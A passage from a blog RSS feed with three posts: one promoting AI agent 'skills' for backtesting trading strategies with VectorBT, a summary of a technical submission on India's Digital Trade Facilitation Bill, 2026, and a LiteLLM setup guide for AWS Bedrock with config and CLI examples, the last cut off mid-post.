            <content:encoded><![CDATA[<h3>VectorBT AI Skills to Build and Backtest Trading Strategies Faster Without Writing a Single Line of Code</h3><p>If someone told me six months ago that anyone could build time series momentum strategies, benchmark them against indices, run multi-asset portfolio backtests, test trend following and trend reversal ideas, or even pair trading strategies — all by just <em>talking</em> to an AI agent — I would have laughed.</p><p>I’m not laughing anymore.</p><p>I created something called <strong>VectorBT Backtesting Skills </strong>— a set of AI skills that let you backtest across multiple asset classes (Indian, US, and Crypto markets) with realistic commissions including charges and statutory fees. Within minutes of loading these skills into an AI coding agent, I was running institutional-grade backtests that would have taken hours to code manually. No Python. No debugging. No StackOverflow rabbit holes.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjFRBodsqjoA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjFRBodsqjoA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjFRBodsqjoA%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/2ca7e2f161db5fba413ce7b526a373bb/href">https://medium.com/media/2ca7e2f161db5fba413ce7b526a373bb/href</a></iframe><p>And here’s what really blew my mind, now you can actually <em>have a conversation</em> with your backtesting results. Compare different strategies side by side, ask “how good is this Sharpe ratio?”, understand what the metrics mean, and get a plain-language summary of the pros and cons of your trading strategy. Just talk to your strategy and the AI breaks down every metric for you.</p><p>Just plain English instructions like:</p><blockquote>“Backtest a simple 10 and 30 EMA crossover on State Bank of India, NSE, daily timeframe, for the last 5 years”</blockquote><p>And the AI wrote the code, executed it, fetched real market data, applied realistic transaction costs, benchmarked against NIFTY 50, generated an equity curve, produced a QuantStats tearsheet with 30+ metrics — and then <em>explained the results in plain language</em> so even a beginner could understand them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*r6WCuKUd9EEEF01geS02qA.png" /></figure><p>Here’s what happened next.</p><h3>What Are “Skills” and Why Should You Care?</h3><p>Skills are a new concept introduced by Anthropic and curated by Vercel at <a href="https://skills.sh/">https://skills.sh</a>. Think of them as <strong>deep domain expertise that you plug into AI coding agents</strong>.</p><p>Unlike regular prompts or ChatGPT conversations, skills are structured instruction sets that teach an AI agent <em>how to be an expert</em> in a specific domain. They contain best practices, rules, templates, and guidelines that ensure the AI produces high-quality, production-ready output every single time.</p><p>The VectorBT Backtesting Skills package (<a href="https://github.com/marketcalls/vectorbt-backtesting-skills">https://github.com/marketcalls/vectorbt-backtesting-skills</a>)</p><ul><li><strong>5 user-invocable skills</strong> — setup, backtest, optimize, quick-stats, strategy-compare</li><li><strong>12 production-ready strategy templates</strong> — EMA Crossover, RSI, Supertrend, MACD, Donchian, and more</li><li><strong>20 modular rule files</strong> — covering everything from transaction costs to walk-forward analysis</li><li><strong>100+ technical indicators</strong> via TA-Lib and OpenAlgo</li></ul><p>And it works with <strong>40+ AI coding agents</strong> — Claude Code, Cursor, Codex, GitHub Copilot, Gemini CLI, Windsurf, Cline, Roo Code, and more.</p><h3>The 5-Minute Setup That Changed Everything</h3><p>Installation is one command:</p><pre>npx skills add marketcalls/vectorbt-backtesting-skills</pre><p>Then inside your AI agent:</p><pre>/setup</pre><p>That’s it. The AI detects your operating system, creates a Python virtual environment, installs TA-Lib (including the C library), installs VectorBT, Plotly, QuantStats, and 75+ other packages, creates the backtesting folder structure, and configures your API keys.</p><p>A setup process that used to take me 30 minutes of googling TA-Lib installation errors — done in one command.</p><h3>My First Backtest: EMA Crossover on SBIN</h3><p>I typed:</p><pre>/backtest simple 10 and 20 ema crossover strategy in SBIN, <br>Daily timeframe for the last 5 years.</pre><p>The AI:</p><ol><li>Created a backtesting/ema_crossover/ folder</li><li>Wrote a complete Python script using TA-Lib indicators (not VectorBT built-ins — the skill enforces this)</li><li>Fetched 5 years of SBIN daily data from OpenAlgo</li><li>Applied realistic Indian delivery equity fees (0.111% + Rs 20/order) — automatically</li><li>Cleaned signals with ta.exrem() to remove duplicate entries</li><li>Ran vbt.Portfolio.from_signals() with proper whole-share sizing</li><li>Fetched NIFTY 50 as benchmark</li><li>Printed a comparison table</li><li>Generated equity curve + underwater plot</li><li>Exported trades to CSV</li><li>Created a QuantStats HTML tearsheet</li><li><strong>Explained the results in plain English</strong></li></ol><p>The explanation looked something like this:</p><pre>* Total Return: Your strategy made 45.23% while NIFTY 50 made 32.10%<br>  -&gt; BEAT the market by 13.13%<br>* Max Drawdown: -12.34% — the biggest drop from peak<br>  -&gt; On Rs 10,00,000 capital, worst temporary loss = Rs 1,23,400<br>* Sharpe Ratio: 1.45 (return per unit of risk, &gt;1 decent, &gt;2 excellent)</pre><p>If you’re a beginner, you don’t need to know what a Sharpe ratio is. The AI tells you whether your number is good or bad. If you’re experienced, you get the full QuantStats tearsheet with 30+ institutional metrics.</p><h3>Where It Gets Crazy: Multi-Asset Portfolio Backtesting</h3><p>I wanted to test a Supertrend strategy across multiple stocks with custom allocation. Here’s what I typed:</p><blockquote>“Backtest a simple Supertrend strategy with parameters 3 and 10 on HDFC Bank, ICICI Bank, State Bank of India, Reliance, Infy, and Tata Steel. Allocation: SBIN 20%, Reliance 30%, Infy 10%, Tata Steel 40%. Daily timeframe, last 5 years. Also add a benchmark column for HDFC Bank fixed deposit at 6.45%.”</blockquote><p>The AI built a complete multi-asset portfolio backtest. Individual equity curves for each stock. Combined portfolio performance. Benchmark comparison against NIFTY. And that fixed deposit comparison column I asked for? It added it — showing that my strategy wasn’t even beating a bank FD.</p><p>That’s the kind of brutal honesty you need before risking real capital.</p><h3>The Three Data Routes</h3><h4>Route 1 — Fastest (~10ms)</h4><p><strong>Historify (DuckDB)</strong> → Direct → <strong>VectorBT Backtest Engine</strong><br> ~10 ms</p><h4>Route 2 — Medium (~40–70ms)</h4><p><strong>Historify (DuckDB)</strong> → <strong>OpenAlgo API (source=”db”)</strong> → <strong>Backtest Engine</strong><br> 40–70 ms</p><h4>Route 3 — Slowest (Seconds to Minutes)</h4><p><strong>Broker Server</strong> → <strong>OpenAlgo API (source=”api”)</strong> → <strong>Backtest Engine</strong><br> 5s — 60s+</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KzSL82IbFSsfK2wf57y4EA.png" /></figure><h3>Adding Stop-Loss and Take-Profit — In English</h3><p>After my first backtest, I wanted to add risk management:</p><blockquote>“Can you change the backtest with a 5% stop loss?”</blockquote><p>Done. New equity curve. New metrics. Drawdown reduced significantly.</p><blockquote>“Can you also add a 20% target?</blockquote><p>Done again. The AI showed me a before/after comparison — without stop loss vs. with 5% SL and 20% TP. It highlighted that while returns decreased, the drawdown duration dropped drastically.</p><p>No parameter documentation hunting. No VectorBT API reference lookup. Just English.</p><h3>The QuantStats Tearsheet</h3><p>Every backtest generates an HTML tearsheet via QuantStats. This isn’t a toy — it’s the same kind of report institutional quants produce:</p><ul><li>Cumulative returns vs benchmark</li><li>Rolling Sharpe and Sortino ratios</li><li>Monthly returns heatmap</li><li>Drawdown periods visualization</li><li>Worst 10 drawdowns ranked</li><li>Year-over-year performance breakdown</li><li>Distribution of daily returns</li><li>Monte Carlo simulations</li><li>30+ risk and return metrics</li></ul><p>All generated automatically. No extra code. No extra prompts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PlBEBN5z4xPuJtY_7WYyQ.png" /></figure><h3>Beyond Backtesting: Dashboards and Indicators</h3><p>The skills don’t stop at backtesting. There’s a companion <strong>Indicator Skills</strong> package (<a href="https://docs.openalgo.in/skills/indicators">https://docs.openalgo.in/skills/indicators</a>) that lets you:</p><p><strong>Build Plotly charts with custom indicators:</strong></p><blockquote>“Create a Plotly chart of SBIN daily timeframe with Supertrend (3,10), RSI, and MACD”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FQ7NglItcr1z-JxyPK-3Qw.png" /></figure><p><strong>Build Streamlit dashboards:</strong></p><blockquote>“Create a Streamlit dashboard showing sector returns for the last 1 week, 1 month, 3 months, 1 year, 3 years, and YTD for the top 10 NSE sectoral indices, in histogram format”</blockquote><p><strong>Replicate TradingView indicators:</strong></p><p>I literally copied the name “CM Williams VIX Fix” from TradingView, pasted it into the prompt, and the AI recreated the indicator using OpenAlgo’s 100+ built-in indicators. The values matched exactly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WhI-QDw_jhOErtGr3mh28Q.png" /><figcaption>William VIX FIX Indicator (Plotly Charts)</figcaption></figure><h3>What Makes This Different from ChatGPT?</h3><p>I know what you’re thinking. “I can just ask ChatGPT to write backtesting code.”</p><p>You can. And here’s what you’ll get:</p><ul><li>Code that uses vbt.MA.run() instead of TA-Lib (wrong approach for serious backtesting)</li><li>Zero fees in the portfolio simulation (makes every strategy look profitable)</li><li>No signal cleaning (duplicate entries that corrupt your results)</li><li>No benchmark comparison</li><li>No QuantStats tearsheet</li><li>Fractional shares in equity backtests (not realistic)</li><li>No plain-language explanation</li></ul><p>The skills enforce <strong>20 rules and best practices</strong> that prevent these mistakes. Every backtest automatically gets:</p><ul><li>TA-Lib indicators (mandatory — never VectorBT built-ins)</li><li>Signal cleaning with ta.exrem()</li><li>Market-specific realistic fees (Indian delivery: 0.111% + Rs 20, US stocks: ~0.01% + $1, Crypto spot: 0.1%)</li><li>Whole-share sizing (min_size=1, size_granularity=1)</li><li>Benchmark comparison table</li><li>Plain-language explanation</li><li>QuantStats tearsheet</li></ul><p>The difference between a ChatGPT backtest and a Skills-powered backtest is the difference between a hobby project and a production-grade analysis.</p><h3>The Cost Question</h3><p>Here’s the practical breakdown:</p><p><strong>Google Gemini CLI</strong> — Free tier available. Best for getting started, running around 5–10 strategies per day, and experimenting without spending anything.</p><p><strong>OpenAI Codex</strong> — $20/month. Solid execution, reliable for daily use, and a good balance between cost and performance.</p><p><strong>Claude Code</strong> — $20–200/month. Excellent slash command support, with the $200 plan offering effectively unlimited usage for heavy users.</p><p>For a trader just starting out, $20/month on Codex or Claude Code’s base plan gives you more backtesting firepower than most retail quant platforms that charge $100+/month.</p><h3>The Bigger Picture</h3><p>This isn’t just about backtesting. This is about what happens when domain expertise becomes <em>installable</em>.</p><p>Today it’s backtesting skills. Tomorrow it could be:</p><ul><li><strong>Execution skills</strong> — automated straddles, adjustments, portfolio rebalancing</li><li><strong>Risk management skills</strong> — real-time position monitoring, Greeks calculation</li><li><strong>Research skills</strong> — screening, sector rotation, factor analysis</li></ul><p>The VectorBT Backtesting Skills repository is open source. Anyone can contribute. Anyone can create their own skills for their domain.</p><p>We’re hitting 100,000 downloads of OpenAlgo next week. The community is building. The skills ecosystem is growing.</p><p><strong>The gap between “idea” and “backtest” just collapsed to a single sentence.</strong></p><h3>Getting Started</h3><pre># Install the skills<br>npx skills add marketcalls/vectorbt-backtesting-skills</pre><pre># Inside your AI agent<br>/setup<br>/backtest ema-crossover SBIN NSE D</pre><p>Three commands. That’s the entire barrier to entry.</p><p><strong>Links:</strong></p><ul><li>Repository: <a href="https://github.com/marketcalls/vectorbt-backtesting-skills">https://github.com/marketcalls/vectorbt-backtesting-skills</a></li><li>Backtesting Skills Docs: <a href="https://docs.openalgo.in/skills/backtesting">https://docs.openalgo.in/skills/backtesting</a></li><li>Indicator Skills Docs: <a href="https://docs.openalgo.in/skills/indicators">https://docs.openalgo.in/skills/indicators</a></li><li>Install OpenAlgo: <a href="https://docs.openalgo.in/installation-guidelines/getting-started">https://docs.openalgo.in/installation-guidelines/getting-started</a></li></ul><p><em>Rajandran R is the founder of OpenAlgo, an open-source algorithmic trading platform supporting 30+ Indian brokers. He writes about quantitative trading, AI-assisted development, and market microstructure at marketcalls.in.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8d5418e2088" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>openalgo</category>
            <category>ai-skills</category>
            <category>yfinance</category>
            <category>vectorbt</category>
            <category>backtesting</category>
        </item>
        <item>
            <title><![CDATA[Technical Submission on India’s Digital Trade Facilitation Bill, 2026]]></title>
            <link>https://www.divyamohan.com/submission-dtf-bill-2026/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/submission-dtf-bill-2026/</guid>
            <pubDate>Wed, 25 Feb 2026 03:08:48 GMT</pubDate>
            <description><![CDATA[Introduction
A sizeable portion of the Indian and global tech ecosystem was gathered at the India AI Impact Summit in New Delhi last week. While I missed attending it due to personal reasons, as an open source maintainer and an alumnus of The Takshashila Institution's GCPP]]></description>
            <content:encoded><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2><p>A sizeable portion of the Indian and global tech ecosystem was gathered at the&#xA0;<a href="https://impact.indiaai.gov.in/" rel="noreferrer">India AI Impact Summit</a> in New Delhi last week. While I missed attending it due to personal reasons, as an&#xA0;open source maintainer and an alumnus of <a href="https://school.takshashila.org.in/gcpp" rel="noreferrer">The Takshashila Institution&apos;s GCPP program</a>, it has been heartwarming to see the summit statement officially mentioning open source - a far cry from the Parisian and the inaugural UK summits that found fairly limited utterances and support.  However, I also believe that for these visions of &quot;Sovereign AI&quot; and global trade leadership to succeed, they must be built on a foundation of&#xA0;<strong>open, interoperable, and cryptographically verifiable standards.</strong></p><p>Over the past year, I&apos;ve been itching to put some of the skills from the GCPP program to use, but unfortunately, couldn&apos;t overcome the initial barrier of shitty first drafts.  The opportunity again presented itself this year in the form of the draft <a href="https://content.dgft.gov.in/Website/dgftprod/cb2fc214-b604-4cb8-a924-c3a439ad7a14/Trade%20Notice%2024%20dated%2009.02.2026.pdf" rel="noreferrer">Digital Trade Facilitation Bill, 2026</a>, which was announced during the budget in February.<strong> </strong>Over the last weekend, I formally submitted a technical memorandum with my inputs to the&#xA0;<a href="https://www.dgft.gov.in/CP/?opt=trade-notice" rel="noreferrer"><strong>Directorate General of Foreign Trade (DGFT)</strong></a>&#xA0; regarding this draft.</p><p>Below is an executive summary of my recommendations.</p><h2 id="executive-summary"><strong>Executive Summary</strong></h2><p>The&#xA0;<a href="https://content.dgft.gov.in/Website/dgftprod/cb2fc214-b604-4cb8-a924-c3a439ad7a14/Trade%20Notice%2024%20dated%2009.02.2026.pdf">Digital Trade Facilitation Bill, 2026</a>, is a landmark step toward a paperless,&#xA0;digital-first trade ecosystem (<a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2098387&amp;reg=3&amp;lang=2" rel="noreferrer">BharatTradeNet</a>). However, to ensure this infrastructure is resilient and inclusive for MSMEs, India must avoid proprietary vendor lock-in.</p><p>My submission, therefore, focused on three architectural pillars:</p><p><strong>1. Keyless Trust via Transparency Logs: </strong>Existing digital signature frameworks often suffer from key management fatigue. I have advocated adopting&#xA0;<strong>transparency-log-based signing </strong>(modelled on&#xA0;<a href="https://www.sigstore.dev/">Sigstore</a>). By using short-lived certificates and immutable logs, we can reduce the risk of long-term credential compromise and lower the cost of entry for small exporters.</p><p><strong>2. Metadata Integrity &amp; Provenance: </strong>A digital Bill of Lading is only as trustworthy as its audit trail. To this end, I&apos;ve recommended granting legal validity to&#xA0;<strong>Software Bills of Materials (SBOMs)</strong>&#xA0;and automated provenance records. Utilising&#xA0;<a href="https://opencontainers.org/" rel="noreferrer">Open Container Initiative (OCI)</a>&#xA0;standards ensures that every digital trade artefact has a machine-readable, tamper-proof chain of custody.</p><p><strong>3. Ensuring Global Interoperability through Open Standards: </strong>To prevent digital islands, I&apos;ve also recommended that India&#x2019;s&#xA0;BharatTradeNet must consider utilising globally recognised open source protocols (compliant with&#xA0;<a href="https://uncitral.un.org/en/texts/ecommerce/modellaw/electronic_transferable_records" rel="noreferrer">UNCITRAL MLETR</a>). This ensures that a digital document issued in Mumbai is natively verifiable by customs and banks in Singapore, Dubai, or Amsterdam without proprietary friction.</p><h2 id="conclusion"><strong>Conclusion</strong></h2><p>Technological sovereignty is not about building walls; it is about building&#xA0;interoperable <strong>standards</strong>&#xA0;that allow us to compete on a global stage. By anchoring our trade laws in&#xA0;Open Source principles, we ensure that India&#x2019;s digital backbone is secure, scalable, and sovereign by design.</p><p><em>I have offered to provide a formal technical briefing to the DGFT Technical Committee on these architectures. If you are a founder, architect, or policy-maker navigating these changes, I&apos;d love to </em><a href="https://www.divyamohan.com/contact/" rel="noreferrer"><em>hear your thoughts</em></a><em>.</em></p>]]></content:encoded>
            <author>Divya Mohan</author>
        </item>
        <item>
            <title><![CDATA[Setting Up LiteLLM with AWS Bedrock]]></title>
            <link>https://mrkaran.dev/posts/litellm-bedrock-setup/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/litellm-bedrock-setup/</guid>
            <pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently set up LiteLLM with AWS Bedrock as the LLM provider. The docs cover the happy path, but there are a few gotchas that cost me some debugging time. This post covers what I learned, from basic setup to per-project cost tracking with Application Inference Profiles.
Model Format#
Bedrock models use the bedrock/ prefix followed by AWS’s model identifiers:
bedrock/anthropic.claude-opus-4-6-v1
bedrock/anthropic.claude-sonnet-4-5-20250929-v1:0
Nothing surprising here. LiteLLM uses the prefix to route to the right provider.
Authentication#
This is where the first gotcha lives. Bedrock doesn’t use API keys. It authenticates via standard AWS credentials:
Environment variables: AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY
AWS profile: AWS_PROFILE
IAM role (for EC2/ECS/Lambda)
You also need AWS_REGION_NAME set to the region where Bedrock is enabled (e.g., ap-south-1).
The gotcha: don’t pass api_key to LiteLLM when using Bedrock. If you include an api_key parameter in your config, LiteLLM tries to use it instead of the AWS credential chain and auth fails silently. You need to either return None for the API key or omit it from the config entirely.
# Wrong - breaks AWS credential chain
llm_config = {"model": "bedrock/anthropic.claude-opus-4-6-v1", "api_key": some_key}

# Correct - let LiteLLM use AWS credentials
llm_config = {"model": "bedrock/anthropic.claude-opus-4-6-v1"}
This one took a while to figure out because the error messages don’t point you in the right direction.
The top_p and Temperature Conflict#
Bedrock’s Anthropic models reject requests that include both temperature and top_p. If your SDK or framework defaults top_p=1.0, you need to explicitly clear it:
if model.startswith("bedrock/"):
    llm_config["top_p"] = None
Without this, you’ll get a validation error from the Bedrock API. The fix is simple, but the error message isn’t immediately obvious about what’s conflicting.
Inference Profiles#
Bedrock has two types of inference profiles, and the second one is where things get interesting for cost management.
Cross-Region (System-Defined)#
AWS provides these out of the box. They route requests across regions for higher throughput and availability:
global.anthropic.claude-opus-4-6-v1
You can list them with:
aws bedrock list-inference-profiles \
  --type-equals SYSTEM_DEFINED \
  --region ap-south-1
Application Inference Profiles for Cost Tracking#
Application Inference Profiles (AIPs) are tagged wrappers around a model. The killer use case is granular cost attribution via cost allocation tags. Instead of seeing one blob of “Bedrock spend” in your AWS bill, you can break it down by project, team, or service.
Create one with:
aws bedrock create-inference-profile \
  --inference-profile-name my-project-opus-4-6 \
  --model-source "copyFrom=arn:aws:bedrock:ap-south-1::foundation-model/anthropic.claude-opus-4-6-v1:0" \
  --tags key=project,value=my-project \
  --region ap-south-1
This gives you an ARN like:
arn:aws:bedrock:ap-south-1:123456789012:application-inference-profile/abcdef123456
Using AIPs with LiteLLM#
The standard bedrock/ route can’t parse ARNs. Use the bedrock/converse/ route instead:
bedrock/converse/arn:aws:bedrock:ap-south-1:123456789012:application-inference-profile/abcdef123456
The bedrock/ prefix still matches for provider detection and the top_p=None fix, so no code changes needed on your end.
Querying Costs via CLI#
Once your AIPs are tagged, you can query costs using the Cost Explorer API.
Total Bedrock spend for a month:
aws ce get-cost-and-usage \
  --time-period Start=2026-02-01,End=2026-03-01 \
  --granularity MONTHLY \
  --metrics "UnblendedCost" \
  --filter '{"Dimensions": {"Key": "SERVICE", "Values": ["Amazon Bedrock"]}}' \
  --region us-east-1
Bedrock spend grouped by your cost allocation tag (per-project breakdown):
aws ce get-cost-and-usage \
  --time-period Start=2026-02-01,End=2026-03-01 \
  --granularity DAILY \
  --metrics "UnblendedCost" \
  --filter '{"Dimensions": {"Key": "SERVICE", "Values": ["Amazon Bedrock"]}}' \
  --group-by Type=TAG,Key=project \
  --region us-east-1
Note: The Cost Explorer API always runs against us-east-1 regardless of where your resources are deployed.
Cost Explorer Setup Checklist#
A few things to get right before cost data starts flowing:
The tag must be an active cost allocation tag. Enable it under Billing → Cost Allocation Tags.
Use the AIP ARN as the model string in LiteLLM. All invocations through it get tagged automatically.
In Cost Explorer, group by tag and select your tag key to see the per-project breakdown.
Cost data takes ~24 hours to populate after first usage, so don’t panic if it shows up empty initially.
Dependencies#
LiteLLM needs boto3 to talk to Bedrock:
boto3>=1.28.57
Make sure it’s installed in your environment, otherwise LiteLLM will fail with an import error when you try to use the bedrock/ provider.
Fin!]]></description>
            <content:encoded><![CDATA[<p>I recently set up <a rel="external" href="https://github.com/BerriAI/litellm">LiteLLM</a> with AWS Bedrock as the LLM provider. The docs cover the happy path, but there are a few gotchas that cost me some debugging time. This post covers what I learned, from basic setup to per-project cost tracking with Application Inference Profiles.</p>
<h2 id="model-format">Model Format<a class="zola-anchor" href="#model-format" aria-label="Anchor link for: model-format">#</a></h2>
<p>Bedrock models use the <code>bedrock/</code> prefix followed by AWS’s model identifiers:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>bedrock/anthropic.claude-opus-4-6-v1</span></span>
<span class="giallo-l"><span>bedrock/anthropic.claude-sonnet-4-5-20250929-v1:0</span></span></code></pre>
<p>Nothing surprising here. LiteLLM uses the prefix to route to the right provider.</p>
<h2 id="authentication">Authentication<a class="zola-anchor" href="#authentication" aria-label="Anchor link for: authentication">#</a></h2>
<p>This is where the first gotcha lives. Bedrock doesn’t use API keys. It authenticates via standard AWS credentials:</p>
<ul>
<li>Environment variables: <code>AWS_ACCESS_KEY_ID</code> + <code>AWS_SECRET_ACCESS_KEY</code></li>
<li>AWS profile: <code>AWS_PROFILE</code></li>
<li>IAM role (for EC2/ECS/Lambda)</li>
</ul>
<p>You also need <code>AWS_REGION_NAME</code> set to the region where Bedrock is enabled (e.g., <code>ap-south-1</code>).</p>
<p><strong>The gotcha</strong>: don’t pass <code>api_key</code> to LiteLLM when using Bedrock. If you include an <code>api_key</code> parameter in your config, LiteLLM tries to use it instead of the AWS credential chain and auth fails silently. You need to either return <code>None</code> for the API key or omit it from the config entirely.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Wrong - breaks AWS credential chain</span></span>
<span class="giallo-l"><span>llm_config</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">model</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bedrock/anthropic.claude-opus-4-6-v1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">api_key</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span> some_key</span><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Correct - let LiteLLM use AWS credentials</span></span>
<span class="giallo-l"><span>llm_config</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">model</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bedrock/anthropic.claude-opus-4-6-v1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>}</span></span></code></pre>
<p>This one took a while to figure out because the error messages don’t point you in the right direction.</p>
<h2 id="the-top-p-and-temperature-conflict">The <code>top_p</code> and Temperature Conflict<a class="zola-anchor" href="#the-top-p-and-temperature-conflict" aria-label="Anchor link for: the-top-p-and-temperature-conflict">#</a></h2>
<p>Bedrock’s Anthropic models reject requests that include both <code>temperature</code> and <code>top_p</code>. If your SDK or framework defaults <code>top_p=1.0</code>, you need to explicitly clear it:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">if</span><span> model</span><span>.</span><span>startswith</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bedrock/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    llm_config</span><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">top_p</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> None</span></span></code></pre>
<p>Without this, you’ll get a validation error from the Bedrock API. The fix is simple, but the error message isn’t immediately obvious about what’s conflicting.</p>
<h2 id="inference-profiles">Inference Profiles<a class="zola-anchor" href="#inference-profiles" aria-label="Anchor link for: inference-profiles">#</a></h2>
<p>Bedrock has two types of inference profiles, and the second one is where things get interesting for cost management.</p>
<h3 id="cross-region-system-defined">Cross-Region (System-Defined)<a class="zola-anchor" href="#cross-region-system-defined" aria-label="Anchor link for: cross-region-system-defined">#</a></h3>
<p>AWS provides these out of the box. They route requests across regions for higher throughput and availability:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>global.anthropic.claude-opus-4-6-v1</span></span></code></pre>
<p>You can list them with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> bedrock</span><span style="color: light-dark(#032F62, #96D0FF);"> list-inference-profiles</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-type-equals</span><span style="color: light-dark(#032F62, #96D0FF);"> SYSTEM_DEFINED</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-region</span><span style="color: light-dark(#032F62, #96D0FF);"> ap-south-1</span></span></code></pre><h3 id="application-inference-profiles-for-cost-tracking">Application Inference Profiles for Cost Tracking<a class="zola-anchor" href="#application-inference-profiles-for-cost-tracking" aria-label="Anchor link for: application-inference-profiles-for-cost-tracking">#</a></h3>
<p>Application Inference Profiles (AIPs) are tagged wrappers around a model. The killer use case is <strong>granular cost attribution</strong> via cost allocation tags. Instead of seeing one blob of “Bedrock spend” in your AWS bill, you can break it down by project, team, or service.</p>
<p>Create one with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> bedrock</span><span style="color: light-dark(#032F62, #96D0FF);"> create-inference-profile</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-inference-profile-name</span><span style="color: light-dark(#032F62, #96D0FF);"> my-project-opus-4-6</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-model-source</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">copyFrom=arn:aws:bedrock:ap-south-1::foundation-model/anthropic.claude-opus-4-6-v1:0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-tags</span><span style="color: light-dark(#032F62, #96D0FF);"> key=project,value=my-project</span><span style="color: light-dark(#005CC5, #F47067);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-region</span><span style="color: light-dark(#032F62, #96D0FF);"> ap-south-1</span></span></code></pre>
<p>This gives you an ARN like:</p>
